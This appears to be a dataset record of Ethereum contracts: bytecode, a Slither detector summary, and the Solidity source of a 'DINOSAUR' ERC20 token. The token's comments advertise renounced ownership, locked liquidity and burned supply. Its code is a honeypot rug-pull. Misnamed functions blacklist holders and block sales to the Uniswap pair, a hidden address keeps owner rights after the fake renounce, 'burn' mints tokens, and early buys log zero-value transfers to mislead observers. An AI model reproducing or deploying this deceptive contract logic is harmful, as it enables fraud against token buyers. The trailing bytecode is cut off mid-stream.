505050506040513d602081101561371c57600080fd5b81019080805190602001909291905050508160008151811061373a57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061378257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7485846040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561385657808201518184015260208101905061383b565b50505050905001935050505060006040518083038186803b15801561387a57600080fd5b505afa15801561388e573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156138b857600080fd5b81019080805160405193929190846401000000008211156138d857600080fd5b838201915060208201858111156138ee57600080fd5b825186602082028301116401000000008211171561390b57600080fd5b8083526020830192505050908051906020019060200280838360005b83811015613942578082015181840152602081019050613927565b5050505090500160405250505060008151811061395b57fe5b60200260200101519050600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156139c0575060065481115b15613a8e5784601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600681905550426007819055507f735208e3a5b6390fd1d199ec98f6689564f9d7fef06323849704a8856eeed5f4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b5050505b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613b3a575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613b905750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613bea5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015613c2257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15613dd057601854811115613c9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f4d4158205458000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff16601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415613d77577fec798f0f5328ec01f1d48922c12f488ecde2dae7402c814510a37d505cbdbb2a601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1613d766141c0565b5b6001600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b505050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613e785750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613e865760009050613f42565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480613f2f5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15613f3d5760009050613f42565b600190505b92915050565b6000808373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613fa857601154613fac565b6012545b90506000613fd66064613fc884876140f090919063ffffffff16565b61417690919063ffffffff16565b905061402a81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36140e581856129cd90919063ffffffff16565b925050509392505050565b6000808314156141035760009050614170565b600082840290508284828161411457fe5b041461416b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061431e6021913960400191505060405180910390fd5b809150505b92915050565b60006141b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614234565b905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060068190555042600781905550565b600080831182906142e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156142a557808201518184015260208101905061428a565b50505050905090810190601f1680156142d25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816142ec57fe5b04905080915050939250505056fe45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f756e74536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220d2222bd616d62fc64df22005257fb7352c167a634ff9273de0839edfc0fbce6b64736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,632 |
0xa36c0ff820542051db011b15edc730b3c15d151e
|
/*
######
# # # # # #### #### ## # # #####
# # # ## # # # # # # # # # #
# # # # # # # # #### # # # # # #
# # # # # # # # # ###### # # #####
# # # # ## # # # # # # # # # #
###### # # # #### #### # # #### # #
DINOSAUR is a new ERC20/Eth Token that is used for the Snakify Play to earn game.
5% Tax for marketing & buyback + burn
Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced.
50% Supply Burned on Launch
100% Fair Launch - no presale, no whitelist
Join the telegram or visit our site for more info
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract DINOSAUR is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 4500000000000*10**18;
string public _name = "DINOSAUR";
string public _symbol= "DINOSAUR";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0x8Cb3953147cCD07c8652B4AAdC100E4ca3f501B2);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 500000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x60806040526004361061012e5760003560e01c80636ebcf607116100ab578063a6f9dae11161006f578063a6f9dae1146103ed578063a9059cbb14610416578063b09f126614610453578063c9567bf91461047e578063d28d885214610495578063dd62ed3e146104c057610135565b80636ebcf607146102f457806370a08231146103315780638da5cb5b1461036e57806395d89b41146103995780639dc29fac146103c457610135565b806323b872dd116100f257806323b872dd14610233578063294e3eb114610270578063313ce567146102875780633eaaf86b146102b25780636e4ee811146102dd57610135565b8063024c2ddd1461013a57806306fdde0314610177578063095ea7b3146101a257806315a892be146101df57806318160ddd1461020857610135565b3661013557005b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190611eed565b6104fd565b60405161016e919061244b565b60405180910390f35b34801561018357600080fd5b5061018c610522565b6040516101999190612329565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611f80565b6105b4565b6040516101d691906122f3565b60405180910390f35b3480156101eb57600080fd5b5061020660048036038101906102019190611fc0565b6105d2565b005b34801561021457600080fd5b5061021d610719565b60405161022a919061244b565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190611f2d565b610723565b60405161026791906122f3565b60405180910390f35b34801561027c57600080fd5b5061028561081b565b005b34801561029357600080fd5b5061029c61094d565b6040516102a99190612466565b60405180910390f35b3480156102be57600080fd5b506102c7610956565b6040516102d4919061244b565b60405180910390f35b3480156102e957600080fd5b506102f261095c565b005b34801561030057600080fd5b5061031b60048036038101906103169190611e93565b610a53565b604051610328919061244b565b60405180910390f35b34801561033d57600080fd5b5061035860048036038101906103539190611e93565b610a6b565b604051610365919061244b565b60405180910390f35b34801561037a57600080fd5b50610383610ab3565b6040516103909190612225565b60405180910390f35b3480156103a557600080fd5b506103ae610ad9565b6040516103bb9190612329565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190611f80565b610b6b565b005b3480156103f957600080fd5b50610414600480360381019061040f9190611e93565b610d71565b005b34801561042257600080fd5b5061043d60048036038101906104389190611f80565b610e67565b60405161044a91906122f3565b60405180910390f35b34801561045f57600080fd5b50610468610e85565b6040516104759190612329565b60405180910390f35b34801561048a57600080fd5b50610493610f13565b005b3480156104a157600080fd5b506104aa611462565b6040516104b79190612329565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190611eed565b6114f0565b6040516104f4919061244b565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b606060078054610531906125de565b80601f016020809104026020016040519081016040528092919081815260200182805461055d906125de565b80156105aa5780601f1061057f576101008083540402835291602001916105aa565b820191906000526020600020905b81548152906001019060200180831161058d57829003601f168201915b5050505050905090565b60006105c86105c1611577565b848461157f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61068457600080fd5b60005b8151811015610715576001600360008484815181106106a9576106a86126e8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061070d90612641565b915050610687565b5050565b6000600654905090565b600061073084848461174a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077b611577565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f2906123cb565b60405180910390fd5b61080f85610807611577565b85840361157f565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108cd57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a055750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a0e57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610ae8906125de565b80601f0160208091040260200160405190810160405280929190818152602001828054610b14906125de565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c145750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c84906123ab565b60405180910390fd5b610c9960008383611d87565b8060066000828254610cab91906124ee565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d0091906124ee565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d65919061244b565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e1a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e2357600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e7b610e74611577565b848461174a565b6001905092915050565b60088054610e92906125de565b80601f0160208091040260200160405190810160405280929190818152602001828054610ebe906125de565b8015610f0b5780601f10610ee057610100808354040283529160200191610f0b565b820191906000526020600020905b815481529060010190602001808311610eee57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fbc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fc557600080fd5b600960019054906101000a900460ff1615611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c9061242b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109e30600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065461157f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156110e457600080fd5b505afa1580156110f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111c9190611ec0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561117e57600080fd5b505afa158015611192573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b69190611ec0565b6040518363ffffffff1660e01b81526004016111d3929190612240565b602060405180830381600087803b1580156111ed57600080fd5b505af1158015611201573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112259190611ec0565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306112ae30610a6b565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016112f696959493929190612292565b6060604051808303818588803b15801561130f57600080fd5b505af1158015611323573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113489190612036565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161140c929190612269565b602060405180830381600087803b15801561142657600080fd5b505af115801561143a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145e9190612009565b5050565b6007805461146f906125de565b80601f016020809104026020016040519081016040528092919081815260200182805461149b906125de565b80156114e85780601f106114bd576101008083540402835291602001916114e8565b820191906000526020600020905b8154815290600101906020018083116114cb57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e69061240b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561165f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116569061236b565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161173d919061244b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b1906123eb565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561181857600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118bc5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118c557600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1757600960009054906101000a900460ff168061197f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806119d75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611a16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0d9061234b565b60405180910390fd5b5b6c064f964e68233a76f520000000811080611a7f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ad75750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b0d57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611b1657600080fd5b611b21838383611d87565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611ba7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9e9061238b565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c3a91906124ee565b92505081905550436004600b54611c5191906124ee565b118015611cab5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611d1b578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611d0e919061230e565b60405180910390a3611d81565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d78919061244b565b60405180910390a35b50505050565b505050565b6000611d9f611d9a846124a6565b612481565b90508083825260208201905082856020860282011115611dc257611dc161274b565b5b60005b85811015611df25781611dd88882611dfc565b845260208401935060208301925050600181019050611dc5565b5050509392505050565b600081359050611e0b81612997565b92915050565b600081519050611e2081612997565b92915050565b600082601f830112611e3b57611e3a612746565b5b8135611e4b848260208601611d8c565b91505092915050565b600081519050611e63816129ae565b92915050565b600081359050611e78816129c5565b92915050565b600081519050611e8d816129c5565b92915050565b600060208284031215611ea957611ea8612755565b5b6000611eb784828501611dfc565b91505092915050565b600060208284031215611ed657611ed5612755565b5b6000611ee484828501611e11565b91505092915050565b60008060408385031215611f0457611f03612755565b5b6000611f1285828601611dfc565b9250506020611f2385828601611dfc565b9150509250929050565b600080600060608486031215611f4657611f45612755565b5b6000611f5486828701611dfc565b9350506020611f6586828701611dfc565b9250506040611f7686828701611e69565b9150509250925092565b60008060408385031215611f9757611f96612755565b5b6000611fa585828601611dfc565b9250506020611fb685828601611e69565b9150509250929050565b600060208284031215611fd657611fd5612755565b5b600082013567ffffffffffffffff811115611ff457611ff3612750565b5b61200084828501611e26565b91505092915050565b60006020828403121561201f5761201e612755565b5b600061202d84828501611e54565b91505092915050565b60008060006060848603121561204f5761204e612755565b5b600061205d86828701611e7e565b935050602061206e86828701611e7e565b925050604061207f86828701611e7e565b9150509250925092565b61209281612544565b82525050565b6120a181612556565b82525050565b6120b081612599565b82525050565b60006120c1826124d2565b6120cb81856124dd565b93506120db8185602086016125ab565b6120e48161275a565b840191505092915050565b60006120fc6023836124dd565b91506121078261276b565b604082019050919050565b600061211f6022836124dd565b915061212a826127ba565b604082019050919050565b60006121426026836124dd565b915061214d82612809565b604082019050919050565b6000612165601f836124dd565b915061217082612858565b602082019050919050565b60006121886028836124dd565b915061219382612881565b604082019050919050565b60006121ab6025836124dd565b91506121b6826128d0565b604082019050919050565b60006121ce6024836124dd565b91506121d98261291f565b604082019050919050565b60006121f16017836124dd565b91506121fc8261296e565b602082019050919050565b61221081612582565b82525050565b61221f8161258c565b82525050565b600060208201905061223a6000830184612089565b92915050565b60006040820190506122556000830185612089565b6122626020830184612089565b9392505050565b600060408201905061227e6000830185612089565b61228b6020830184612207565b9392505050565b600060c0820190506122a76000830189612089565b6122b46020830188612207565b6122c160408301876120a7565b6122ce60608301866120a7565b6122db6080830185612089565b6122e860a08301